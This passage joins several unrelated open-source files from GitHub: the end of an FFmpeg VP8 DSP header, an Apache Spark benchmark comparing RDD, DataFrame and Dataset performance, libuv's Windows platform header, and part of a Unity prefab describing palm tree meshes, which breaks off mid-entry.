void (*vp8_h_loop_filter_simple)(uint8_t *dst, ptrdiff_t stride, int flim);
/**
* first dimension: 4-log2(width)
* second dimension: 0 if no vertical interpolation is needed;
* 1 4-tap vertical interpolation filter (my & 1)
* 2 6-tap vertical interpolation filter (!(my & 1))
* third dimension: same as second dimension, for horizontal interpolation
* so something like put_vp8_epel_pixels_tab[4-log2(width)][2*!!my-(my&1)][2*!!mx-(mx&1)](..., mx, my)
*/
vp8_mc_func put_vp8_epel_pixels_tab[3][3][3];
vp8_mc_func put_vp8_bilinear_pixels_tab[3][3][3];
} VP8DSPContext;
void ff_put_vp8_pixels16_c(uint8_t *dst, uint8_t *src, ptrdiff_t stride,
int h, int x, int y);
void ff_put_vp8_pixels8_c(uint8_t *dst, uint8_t *src, ptrdiff_t stride,
int h, int x, int y);
void ff_put_vp8_pixels4_c(uint8_t *dst, uint8_t *src, ptrdiff_t stride,
int h, int x, int y);
void ff_vp7dsp_init(VP8DSPContext *c);
void ff_vp78dsp_init(VP8DSPContext *c);
void ff_vp78dsp_init_arm(VP8DSPContext *c);
void ff_vp78dsp_init_ppc(VP8DSPContext *c);
void ff_vp78dsp_init_x86(VP8DSPContext *c);
void ff_vp8dsp_init(VP8DSPContext *c);
void ff_vp8dsp_init_arm(VP8DSPContext *c);
void ff_vp8dsp_init_x86(VP8DSPContext *c);
void ff_vp8dsp_init_mips(VP8DSPContext *c);
#define IS_VP7 1
#define IS_VP8 0
#endif /* AVCODEC_VP8DSP_H */
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.sql
import org.apache.spark.{SparkConf, SparkContext}
import org.apache.spark.sql.expressions.Aggregator
import org.apache.spark.sql.expressions.scalalang.typed
import org.apache.spark.sql.functions._
import org.apache.spark.sql.types.StringType
import org.apache.spark.util.Benchmark
/**
* Benchmark for Dataset typed operations comparing with DataFrame and RDD versions.
*/
object DatasetBenchmark {
case class Data(l: Long, s: String)
def backToBackMap(spark: SparkSession, numRows: Long, numChains: Int): Benchmark = {
import spark.implicits._
val df = spark.range(1, numRows).select($"id".as("l"), $"id".cast(StringType).as("s"))
val benchmark = new Benchmark("back-to-back map", numRows)
val func = (d: Data) => Data(d.l + 1, d.s)
val rdd = spark.sparkContext.range(1, numRows).map(l => Data(l, l.toString))
benchmark.addCase("RDD") { iter =>
var res = rdd
var i = 0
while (i < numChains) {
res = res.map(func)
i += 1
}
res.foreach(_ => Unit)
}
benchmark.addCase("DataFrame") { iter =>
var res = df
var i = 0
while (i < numChains) {
res = res.select($"l" + 1 as "l", $"s")
i += 1
}
res.queryExecution.toRdd.foreach(_ => Unit)
}
benchmark.addCase("Dataset") { iter =>
var res = df.as[Data]
var i = 0
while (i < numChains) {
res = res.map(func)
i += 1
}
res.queryExecution.toRdd.foreach(_ => Unit)
}
benchmark
}
def backToBackFilter(spark: SparkSession, numRows: Long, numChains: Int): Benchmark = {
import spark.implicits._
val df = spark.range(1, numRows).select($"id".as("l"), $"id".cast(StringType).as("s"))
val benchmark = new Benchmark("back-to-back filter", numRows)
val func = (d: Data, i: Int) => d.l % (100L + i) == 0L
val funcs = 0.until(numChains).map { i =>
(d: Data) => func(d, i)
}
val rdd = spark.sparkContext.range(1, numRows).map(l => Data(l, l.toString))
benchmark.addCase("RDD") { iter =>
var res = rdd
var i = 0
while (i < numChains) {
res = res.filter(funcs(i))
i += 1
}
res.foreach(_ => Unit)
}
benchmark.addCase("DataFrame") { iter =>
var res = df
var i = 0
while (i < numChains) {
res = res.filter($"l" % (100L + i) === 0L)
i += 1
}
res.queryExecution.toRdd.foreach(_ => Unit)
}
benchmark.addCase("Dataset") { iter =>
var res = df.as[Data]
var i = 0
while (i < numChains) {
res = res.filter(funcs(i))
i += 1
}
res.queryExecution.toRdd.foreach(_ => Unit)
}
benchmark
}
object ComplexAggregator extends Aggregator[Data, Data, Long] {
override def zero: Data = Data(0, "")
override def reduce(b: Data, a: Data): Data = Data(b.l + a.l, "")
override def finish(reduction: Data): Long = reduction.l
override def merge(b1: Data, b2: Data): Data = Data(b1.l + b2.l, "")
override def bufferEncoder: Encoder[Data] = Encoders.product[Data]
override def outputEncoder: Encoder[Long] = Encoders.scalaLong
}
def aggregate(spark: SparkSession, numRows: Long): Benchmark = {
import spark.implicits._
val df = spark.range(1, numRows).select($"id".as("l"), $"id".cast(StringType).as("s"))
val benchmark = new Benchmark("aggregate", numRows)
val rdd = spark.sparkContext.range(1, numRows).map(l => Data(l, l.toString))
benchmark.addCase("RDD sum") { iter =>
rdd.aggregate(0L)(_ + _.l, _ + _)
}
benchmark.addCase("DataFrame sum") { iter =>
df.select(sum($"l")).queryExecution.toRdd.foreach(_ => Unit)
}
benchmark.addCase("Dataset sum using Aggregator") { iter =>
df.as[Data].select(typed.sumLong((d: Data) => d.l)).queryExecution.toRdd.foreach(_ => Unit)
}
benchmark.addCase("Dataset complex Aggregator") { iter =>
df.as[Data].select(ComplexAggregator.toColumn).queryExecution.toRdd.foreach(_ => Unit)
}
benchmark
}
def main(args: Array[String]): Unit = {
val spark = SparkSession.builder
.master("local[*]")
.appName("Dataset benchmark")
.getOrCreate()
val numRows = 100000000
val numChains = 10
val benchmark = backToBackMap(spark, numRows, numChains)
val benchmark2 = backToBackFilter(spark, numRows, numChains)
val benchmark3 = aggregate(spark, numRows)
/*
OpenJDK 64-Bit Server VM 1.8.0_91-b14 on Linux 3.10.0-327.18.2.el7.x86_64
Intel Xeon E3-12xx v2 (Ivy Bridge)
back-to-back map: Best/Avg Time(ms) Rate(M/s) Per Row(ns) Relative
------------------------------------------------------------------------------------------------
RDD 3448 / 3646 29.0 34.5 1.0X
DataFrame 2647 / 3116 37.8 26.5 1.3X
Dataset 4781 / 5155 20.9 47.8 0.7X
*/
benchmark.run()
/*
OpenJDK 64-Bit Server VM 1.8.0_91-b14 on Linux 3.10.0-327.18.2.el7.x86_64
Intel Xeon E3-12xx v2 (Ivy Bridge)
back-to-back filter: Best/Avg Time(ms) Rate(M/s) Per Row(ns) Relative
------------------------------------------------------------------------------------------------
RDD 1346 / 1618 74.3 13.5 1.0X
DataFrame 59 / 72 1695.4 0.6 22.8X
Dataset 2777 / 2805 36.0 27.8 0.5X
*/
benchmark2.run()
/*
OpenJDK 64-Bit Server VM 1.8.0_91-b14 on Linux 3.10.0-327.18.2.el7.x86_64
Intel Xeon E3-12xx v2 (Ivy Bridge)
aggregate: Best/Avg Time(ms) Rate(M/s) Per Row(ns) Relative
------------------------------------------------------------------------------------------------
RDD sum 1420 / 1523 70.4 14.2 1.0X
DataFrame sum 31 / 49 3214.3 0.3 45.6X
Dataset sum using Aggregator 3216 / 3257 31.1 32.2 0.4X
Dataset complex Aggregator 7948 / 8461 12.6 79.5 0.2X
*/
benchmark3.run()
}
}
| {
"pile_set_name": "Github"
} |
/* Copyright Joyent, Inc. and other Node contributors. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#ifndef _WIN32_WINNT
# define _WIN32_WINNT 0x0502
#endif
#if !defined(_SSIZE_T_) && !defined(_SSIZE_T_DEFINED)
typedef intptr_t ssize_t;
# define _SSIZE_T_
# define _SSIZE_T_DEFINED
#endif
#include <winsock2.h>
#if defined(__MINGW32__) && !defined(__MINGW64_VERSION_MAJOR)
typedef struct pollfd {
SOCKET fd;
short events;
short revents;
} WSAPOLLFD, *PWSAPOLLFD, *LPWSAPOLLFD;
#endif
#ifndef LOCALE_INVARIANT
# define LOCALE_INVARIANT 0x007f
#endif
#include <mswsock.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <process.h>
#include <signal.h>
#include <sys/stat.h>
#if defined(_MSC_VER) && _MSC_VER < 1600
# include "stdint-msvc2008.h"
#else
# include <stdint.h>
#endif
#include "tree.h"
#include "uv-threadpool.h"
#define MAX_PIPENAME_LEN 256
#ifndef S_IFLNK
# define S_IFLNK 0xA000
#endif
/* Additional signals supported by uv_signal and or uv_kill. The CRT defines
* the following signals already:
*
* #define SIGINT 2
* #define SIGILL 4
* #define SIGABRT_COMPAT 6
* #define SIGFPE 8
* #define SIGSEGV 11
* #define SIGTERM 15
* #define SIGBREAK 21
* #define SIGABRT 22
*
* The additional signals have values that are common on other Unix
* variants (Linux and Darwin)
*/
#define SIGHUP 1
#define SIGKILL 9
#define SIGWINCH 28
/* The CRT defines SIGABRT_COMPAT as 6, which equals SIGABRT on many */
/* unix-like platforms. However MinGW doesn't define it, so we do. */
#ifndef SIGABRT_COMPAT
# define SIGABRT_COMPAT 6
#endif
/*
* Guids and typedefs for winsock extension functions
* Mingw32 doesn't have these :-(
*/
#ifndef WSAID_ACCEPTEX
# define WSAID_ACCEPTEX \
{0xb5367df1, 0xcbac, 0x11cf, \
{0x95, 0xca, 0x00, 0x80, 0x5f, 0x48, 0xa1, 0x92}}
# define WSAID_CONNECTEX \
{0x25a207b9, 0xddf3, 0x4660, \
{0x8e, 0xe9, 0x76, 0xe5, 0x8c, 0x74, 0x06, 0x3e}}
# define WSAID_GETACCEPTEXSOCKADDRS \
{0xb5367df2, 0xcbac, 0x11cf, \
{0x95, 0xca, 0x00, 0x80, 0x5f, 0x48, 0xa1, 0x92}}
# define WSAID_DISCONNECTEX \
{0x7fda2e11, 0x8630, 0x436f, \
{0xa0, 0x31, 0xf5, 0x36, 0xa6, 0xee, 0xc1, 0x57}}
# define WSAID_TRANSMITFILE \
{0xb5367df0, 0xcbac, 0x11cf, \
{0x95, 0xca, 0x00, 0x80, 0x5f, 0x48, 0xa1, 0x92}}
typedef BOOL PASCAL (*LPFN_ACCEPTEX)
(SOCKET sListenSocket,
SOCKET sAcceptSocket,
PVOID lpOutputBuffer,
DWORD dwReceiveDataLength,
DWORD dwLocalAddressLength,
DWORD dwRemoteAddressLength,
LPDWORD lpdwBytesReceived,
LPOVERLAPPED lpOverlapped);
typedef BOOL PASCAL (*LPFN_CONNECTEX)
(SOCKET s,
const struct sockaddr* name,
int namelen,
PVOID lpSendBuffer,
DWORD dwSendDataLength,
LPDWORD lpdwBytesSent,
LPOVERLAPPED lpOverlapped);
typedef void PASCAL (*LPFN_GETACCEPTEXSOCKADDRS)
(PVOID lpOutputBuffer,
DWORD dwReceiveDataLength,
DWORD dwLocalAddressLength,
DWORD dwRemoteAddressLength,
LPSOCKADDR* LocalSockaddr,
LPINT LocalSockaddrLength,
LPSOCKADDR* RemoteSockaddr,
LPINT RemoteSockaddrLength);
typedef BOOL PASCAL (*LPFN_DISCONNECTEX)
(SOCKET hSocket,
LPOVERLAPPED lpOverlapped,
DWORD dwFlags,
DWORD reserved);
typedef BOOL PASCAL (*LPFN_TRANSMITFILE)
(SOCKET hSocket,
HANDLE hFile,
DWORD nNumberOfBytesToWrite,
DWORD nNumberOfBytesPerSend,
LPOVERLAPPED lpOverlapped,
LPTRANSMIT_FILE_BUFFERS lpTransmitBuffers,
DWORD dwFlags);
typedef PVOID RTL_SRWLOCK;
typedef RTL_SRWLOCK SRWLOCK, *PSRWLOCK;
#endif
typedef int (WSAAPI* LPFN_WSARECV)
(SOCKET socket,
LPWSABUF buffers,
DWORD buffer_count,
LPDWORD bytes,
LPDWORD flags,
LPWSAOVERLAPPED overlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE completion_routine);
typedef int (WSAAPI* LPFN_WSARECVFROM)
(SOCKET socket,
LPWSABUF buffers,
DWORD buffer_count,
LPDWORD bytes,
LPDWORD flags,
struct sockaddr* addr,
LPINT addr_len,
LPWSAOVERLAPPED overlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE completion_routine);
#ifndef _NTDEF_
typedef LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#ifndef RTL_CONDITION_VARIABLE_INIT
typedef PVOID CONDITION_VARIABLE, *PCONDITION_VARIABLE;
#endif
typedef struct _AFD_POLL_HANDLE_INFO {
HANDLE Handle;
ULONG Events;
NTSTATUS Status;
} AFD_POLL_HANDLE_INFO, *PAFD_POLL_HANDLE_INFO;
typedef struct _AFD_POLL_INFO {
LARGE_INTEGER Timeout;
ULONG NumberOfHandles;
ULONG Exclusive;
AFD_POLL_HANDLE_INFO Handles[1];
} AFD_POLL_INFO, *PAFD_POLL_INFO;
#define UV_MSAFD_PROVIDER_COUNT 3
/**
* It should be possible to cast uv_buf_t[] to WSABUF[]
* see http://msdn.microsoft.com/en-us/library/ms741542(v=vs.85).aspx
*/
typedef struct uv_buf_t {
ULONG len;
char* base;
} uv_buf_t;
typedef int uv_file;
typedef SOCKET uv_os_sock_t;
typedef HANDLE uv_os_fd_t;
typedef HANDLE uv_thread_t;
typedef HANDLE uv_sem_t;
typedef CRITICAL_SECTION uv_mutex_t;
/* This condition variable implementation is based on the SetEvent solution
* (section 3.2) at http://www.cs.wustl.edu/~schmidt/win32-cv-1.html
* We could not use the SignalObjectAndWait solution (section 3.4) because
* it want the 2nd argument (type uv_mutex_t) of uv_cond_wait() and
* uv_cond_timedwait() to be HANDLEs, but we use CRITICAL_SECTIONs.
*/
typedef union {
CONDITION_VARIABLE cond_var;
struct {
unsigned int waiters_count;
CRITICAL_SECTION waiters_count_lock;
HANDLE signal_event;
HANDLE broadcast_event;
} fallback;
} uv_cond_t;
typedef union {
/* srwlock_ has type SRWLOCK, but not all toolchains define this type in */
/* windows.h. */
SRWLOCK srwlock_;
struct {
uv_mutex_t read_mutex_;
uv_mutex_t write_mutex_;
unsigned int num_readers_;
} fallback_;
} uv_rwlock_t;
typedef struct {
unsigned int n;
unsigned int count;
uv_mutex_t mutex;
uv_sem_t turnstile1;
uv_sem_t turnstile2;
} uv_barrier_t;
typedef struct {
DWORD tls_index;
} uv_key_t;
#define UV_ONCE_INIT { 0, NULL }
typedef struct uv_once_s {
unsigned char ran;
HANDLE event;
} uv_once_t;
/* Platform-specific definitions for uv_spawn support. */
typedef unsigned char uv_uid_t;
typedef unsigned char uv_gid_t;
typedef struct uv__dirent_s {
int d_type;
char d_name[1];
} uv__dirent_t;
#define HAVE_DIRENT_TYPES
#define UV__DT_DIR UV_DIRENT_DIR
#define UV__DT_FILE UV_DIRENT_FILE
#define UV__DT_LINK UV_DIRENT_LINK
#define UV__DT_FIFO UV_DIRENT_FIFO
#define UV__DT_SOCKET UV_DIRENT_SOCKET
#define UV__DT_CHAR UV_DIRENT_CHAR
#define UV__DT_BLOCK UV_DIRENT_BLOCK
/* Platform-specific definitions for uv_dlopen support. */
#define UV_DYNAMIC FAR WINAPI
typedef struct {
HMODULE handle;
char* errmsg;
} uv_lib_t;
RB_HEAD(uv_timer_tree_s, uv_timer_s);
#define UV_LOOP_PRIVATE_FIELDS \
/* The loop's I/O completion port */ \
HANDLE iocp; \
/* The current time according to the event loop. in msecs. */ \
uint64_t time; \
/* Tail of a single-linked circular queue of pending reqs. If the queue */ \
/* is empty, tail_ is NULL. If there is only one item, */ \
/* tail_->next_req == tail_ */ \
uv_req_t* pending_reqs_tail; \
/* Head of a single-linked list of closed handles */ \
uv_handle_t* endgame_handles; \
/* The head of the timers tree */ \
struct uv_timer_tree_s timers; \
/* Lists of active loop (prepare / check / idle) watchers */ \
uv_prepare_t* prepare_handles; \
uv_check_t* check_handles; \
uv_idle_t* idle_handles; \
/* This pointer will refer to the prepare/check/idle handle whose */ \
/* callback is scheduled to be called next. This is needed to allow */ \
/* safe removal from one of the lists above while that list being */ \
/* iterated over. */ \
uv_prepare_t* next_prepare_handle; \
uv_check_t* next_check_handle; \
uv_idle_t* next_idle_handle; \
/* This handle holds the peer sockets for the fast variant of uv_poll_t */ \
SOCKET poll_peer_sockets[UV_MSAFD_PROVIDER_COUNT]; \
/* Counter to keep track of active tcp streams */ \
unsigned int active_tcp_streams; \
/* Counter to keep track of active udp streams */ \
unsigned int active_udp_streams; \
/* Counter to started timer */ \
uint64_t timer_counter; \
/* Threadpool */ \
void* wq[2]; \
uv_mutex_t wq_mutex; \
uv_async_t wq_async;
#define UV_REQ_TYPE_PRIVATE \
/* TODO: remove the req suffix */ \
UV_ACCEPT, \
UV_FS_EVENT_REQ, \
UV_POLL_REQ, \
UV_PROCESS_EXIT, \
UV_READ, \
UV_UDP_RECV, \
UV_WAKEUP, \
UV_SIGNAL_REQ,
#define UV_REQ_PRIVATE_FIELDS \
union { \
/* Used by I/O operations */ \
struct { \
OVERLAPPED overlapped; \
size_t queued_bytes; \
} io; \
} u; \
struct uv_req_s* next_req;
#define UV_WRITE_PRIVATE_FIELDS \
int ipc_header; \
uv_buf_t write_buffer; \
HANDLE event_handle; \
HANDLE wait_handle;
#define UV_CONNECT_PRIVATE_FIELDS \
/* empty */
#define UV_SHUTDOWN_PRIVATE_FIELDS \
/* empty */
#define UV_UDP_SEND_PRIVATE_FIELDS \
/* empty */
#define UV_PRIVATE_REQ_TYPES \
typedef struct uv_pipe_accept_s { \
UV_REQ_FIELDS \
HANDLE pipeHandle; \
struct uv_pipe_accept_s* next_pending; \
} uv_pipe_accept_t; \
\
typedef struct uv_tcp_accept_s { \
UV_REQ_FIELDS \
SOCKET accept_socket; \
char accept_buffer[sizeof(struct sockaddr_storage) * 2 + 32]; \
HANDLE event_handle; \
HANDLE wait_handle; \
struct uv_tcp_accept_s* next_pending; \
} uv_tcp_accept_t; \
\
typedef struct uv_read_s { \
UV_REQ_FIELDS \
HANDLE event_handle; \
HANDLE wait_handle; \
} uv_read_t;
#define uv_stream_connection_fields \
unsigned int write_reqs_pending; \
uv_shutdown_t* shutdown_req;
#define uv_stream_server_fields \
uv_connection_cb connection_cb;
#define UV_STREAM_PRIVATE_FIELDS \
unsigned int reqs_pending; \
int activecnt; \
uv_read_t read_req; \
union { \
struct { uv_stream_connection_fields } conn; \
struct { uv_stream_server_fields } serv; \
} stream;
#define uv_tcp_server_fields \
uv_tcp_accept_t* accept_reqs; \
unsigned int processed_accepts; \
uv_tcp_accept_t* pending_accepts; \
LPFN_ACCEPTEX func_acceptex;
#define uv_tcp_connection_fields \
uv_buf_t read_buffer; \
LPFN_CONNECTEX func_connectex;
#define UV_TCP_PRIVATE_FIELDS \
SOCKET socket; \
int delayed_error; \
union { \
struct { uv_tcp_server_fields } serv; \
struct { uv_tcp_connection_fields } conn; \
} tcp;
#define UV_UDP_PRIVATE_FIELDS \
SOCKET socket; \
unsigned int reqs_pending; \
int activecnt; \
uv_req_t recv_req; \
uv_buf_t recv_buffer; \
struct sockaddr_storage recv_from; \
int recv_from_len; \
uv_udp_recv_cb recv_cb; \
uv_alloc_cb alloc_cb; \
LPFN_WSARECV func_wsarecv; \
LPFN_WSARECVFROM func_wsarecvfrom;
#define uv_pipe_server_fields \
int pending_instances; \
uv_pipe_accept_t* accept_reqs; \
uv_pipe_accept_t* pending_accepts;
#define uv_pipe_connection_fields \
uv_timer_t* eof_timer; \
uv_write_t ipc_header_write_req; \
int ipc_pid; \
uint64_t remaining_ipc_rawdata_bytes; \
struct { \
void* queue[2]; \
int queue_len; \
} pending_ipc_info; \
uv_write_t* non_overlapped_writes_tail; \
uv_mutex_t readfile_mutex; \
volatile HANDLE readfile_thread;
#define UV_PIPE_PRIVATE_FIELDS \
HANDLE handle; \
WCHAR* name; \
union { \
struct { uv_pipe_server_fields } serv; \
struct { uv_pipe_connection_fields } conn; \
} pipe;
/* TODO: put the parser states in an union - TTY handles are always */
/* half-duplex so read-state can safely overlap write-state. */
#define UV_TTY_PRIVATE_FIELDS \
HANDLE handle; \
union { \
struct { \
/* Used for readable TTY handles */ \
HANDLE read_line_handle; \
uv_buf_t read_line_buffer; \
HANDLE read_raw_wait; \
/* Fields used for translating win keystrokes into vt100 characters */ \
char last_key[8]; \
unsigned char last_key_offset; \
unsigned char last_key_len; \
WCHAR last_utf16_high_surrogate; \
INPUT_RECORD last_input_record; \
} rd; \
struct { \
/* Used for writable TTY handles */ \
/* utf8-to-utf16 conversion state */ \
unsigned int utf8_codepoint; \
unsigned char utf8_bytes_left; \
/* eol conversion state */ \
unsigned char previous_eol; \
/* ansi parser state */ \
unsigned char ansi_parser_state; \
unsigned char ansi_csi_argc; \
unsigned short ansi_csi_argv[4]; \
COORD saved_position; \
WORD saved_attributes; \
} wr; \
} tty;
#define UV_POLL_PRIVATE_FIELDS \
SOCKET socket; \
/* Used in fast mode */ \
SOCKET peer_socket; \
AFD_POLL_INFO afd_poll_info_1; \
AFD_POLL_INFO afd_poll_info_2; \
/* Used in fast and slow mode. */ \
uv_req_t poll_req_1; \
uv_req_t poll_req_2; \
unsigned char submitted_events_1; \
unsigned char submitted_events_2; \
unsigned char mask_events_1; \
unsigned char mask_events_2; \
unsigned char events;
#define UV_TIMER_PRIVATE_FIELDS \
RB_ENTRY(uv_timer_s) tree_entry; \
uint64_t due; \
uint64_t repeat; \
uint64_t start_id; \
uv_timer_cb timer_cb;
#define UV_ASYNC_PRIVATE_FIELDS \
struct uv_req_s async_req; \
uv_async_cb async_cb; \
/* char to avoid alignment issues */ \
char volatile async_sent;
#define UV_PREPARE_PRIVATE_FIELDS \
uv_prepare_t* prepare_prev; \
uv_prepare_t* prepare_next; \
uv_prepare_cb prepare_cb;
#define UV_CHECK_PRIVATE_FIELDS \
uv_check_t* check_prev; \
uv_check_t* check_next; \
uv_check_cb check_cb;
#define UV_IDLE_PRIVATE_FIELDS \
uv_idle_t* idle_prev; \
uv_idle_t* idle_next; \
uv_idle_cb idle_cb;
#define UV_HANDLE_PRIVATE_FIELDS \
uv_handle_t* endgame_next; \
unsigned int flags;
#define UV_GETADDRINFO_PRIVATE_FIELDS \
struct uv__work work_req; \
uv_getaddrinfo_cb getaddrinfo_cb; \
void* alloc; \
WCHAR* node; \
WCHAR* service; \
/* The addrinfoW field is used to store a pointer to the hints, and */ \
/* later on to store the result of GetAddrInfoW. The final result will */ \
/* be converted to struct addrinfo* and stored in the addrinfo field. */ \
struct addrinfoW* addrinfow; \
struct addrinfo* addrinfo; \
int retcode;
#define UV_GETNAMEINFO_PRIVATE_FIELDS \
struct uv__work work_req; \
uv_getnameinfo_cb getnameinfo_cb; \
struct sockaddr_storage storage; \
int flags; \
char host[NI_MAXHOST]; \
char service[NI_MAXSERV]; \
int retcode;
#define UV_PROCESS_PRIVATE_FIELDS \
struct uv_process_exit_s { \
UV_REQ_FIELDS \
} exit_req; \
BYTE* child_stdio_buffer; \
int exit_signal; \
HANDLE wait_handle; \
HANDLE process_handle; \
volatile char exit_cb_pending;
#define UV_FS_PRIVATE_FIELDS \
struct uv__work work_req; \
int flags; \
DWORD sys_errno_; \
union { \
/* TODO: remove me in 0.9. */ \
WCHAR* pathw; \
int fd; \
} file; \
union { \
struct { \
int mode; \
WCHAR* new_pathw; \
int file_flags; \
int fd_out; \
unsigned int nbufs; \
uv_buf_t* bufs; \
int64_t offset; \
uv_buf_t bufsml[4]; \
} info; \
struct { \
double atime; \
double mtime; \
} time; \
} fs;
#define UV_WORK_PRIVATE_FIELDS \
struct uv__work work_req;
#define UV_FS_EVENT_PRIVATE_FIELDS \
struct uv_fs_event_req_s { \
UV_REQ_FIELDS \
} req; \
HANDLE dir_handle; \
int req_pending; \
uv_fs_event_cb cb; \
WCHAR* filew; \
WCHAR* short_filew; \
WCHAR* dirw; \
char* buffer;
#define UV_SIGNAL_PRIVATE_FIELDS \
RB_ENTRY(uv_signal_s) tree_entry; \
struct uv_req_s signal_req; \
unsigned long pending_signum;
int uv_utf16_to_utf8(const WCHAR* utf16Buffer, size_t utf16Size,
char* utf8Buffer, size_t utf8Size);
int uv_utf8_to_utf16(const char* utf8Buffer, WCHAR* utf16Buffer,
size_t utf16Size);
#ifndef F_OK
#define F_OK 0
#endif
#ifndef R_OK
#define R_OK 4
#endif
#ifndef W_OK
#define W_OK 2
#endif
#ifndef X_OK
#define X_OK 1
#endif
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!1 &1785143153843822
GameObject:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
serializedVersion: 6
m_Component:
- component: {fileID: 4097624723285212}
- component: {fileID: 33257019863298526}
- component: {fileID: 23338835864651080}
m_Layer: 0
m_Name: Palm_LOD0
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 121
m_IsActive: 1
--- !u!4 &4097624723285212
Transform:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1785143153843822}
m_LocalRotation: {x: -0, y: -0, z: -0, w: 1}
m_LocalPosition: {x: 0, y: 0, z: 0}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 4892398858798392}
m_RootOrder: 0
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!33 &33257019863298526
MeshFilter:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1785143153843822}
m_Mesh: {fileID: 4300000, guid: 8c6f3ced7513b38468e660f8ff12ab3c, type: 3}
--- !u!23 &23338835864651080
MeshRenderer:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1785143153843822}
m_Enabled: 1
m_CastShadows: 1
m_ReceiveShadows: 1
m_DynamicOccludee: 1
m_MotionVectors: 1
m_LightProbeUsage: 1
m_ReflectionProbeUsage: 3
m_RayTracingMode: 2
m_RenderingLayerMask: 4294967295
m_RendererPriority: 0
m_Materials:
- {fileID: 2100000, guid: 65362f8b29e996742896ce4dd8a6d723, type: 2}
m_StaticBatchInfo:
firstSubMesh: 0
subMeshCount: 0
m_StaticBatchRoot: {fileID: 0}
m_ProbeAnchor: {fileID: 0}
m_LightProbeVolumeOverride: {fileID: 0}
m_ScaleInLightmap: 0
m_ReceiveGI: 2
m_PreserveUVs: 1
m_IgnoreNormalsForChartDetection: 0
m_ImportantGI: 0
m_StitchLightmapSeams: 0
m_SelectedEditorRenderState: 3
m_MinimumChartSize: 4
m_AutoUVMaxDistance: 0.5
m_AutoUVMaxAngle: 89
m_LightmapParameters: {fileID: 0}
m_SortingLayerID: 0
m_SortingLayer: 0
m_SortingOrder: 0
--- !u!1 &1859961869546024
GameObject:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
serializedVersion: 6
m_Component:
- component: {fileID: 4670711268220634}
- component: {fileID: 33763152802513684}
- component: {fileID: 23582185124200730}
m_Layer: 0
m_Name: Palm_LOD1
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 1
m_IsActive: 1
--- !u!4 &4670711268220634
Transform:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1859961869546024}
m_LocalRotation: {x: -0, y: -0, z: -0, w: 1}
m_LocalPosition: {x: 0, y: 0, z: 0}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 4892398858798392}
m_RootOrder: 1
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!33 &33763152802513684
MeshFilter:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1859961869546024}
m_Mesh: {fileID: 4300002, guid: 8c6f3ced7513b38468e660f8ff12ab3c, type: 3}
--- !u!23 &23582185124200730
MeshRenderer:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1859961869546024}
m_Enabled: 1
m_CastShadows: 1
m_ReceiveShadows: 1
m_DynamicOccludee: 1
m_MotionVectors: 1
m_LightProbeUsage: 1
m_ReflectionProbeUsage: 3
m_RayTracingMode: 2
m_RenderingLayerMask: 4294967295
m_RendererPriority: 0
m_Materials:
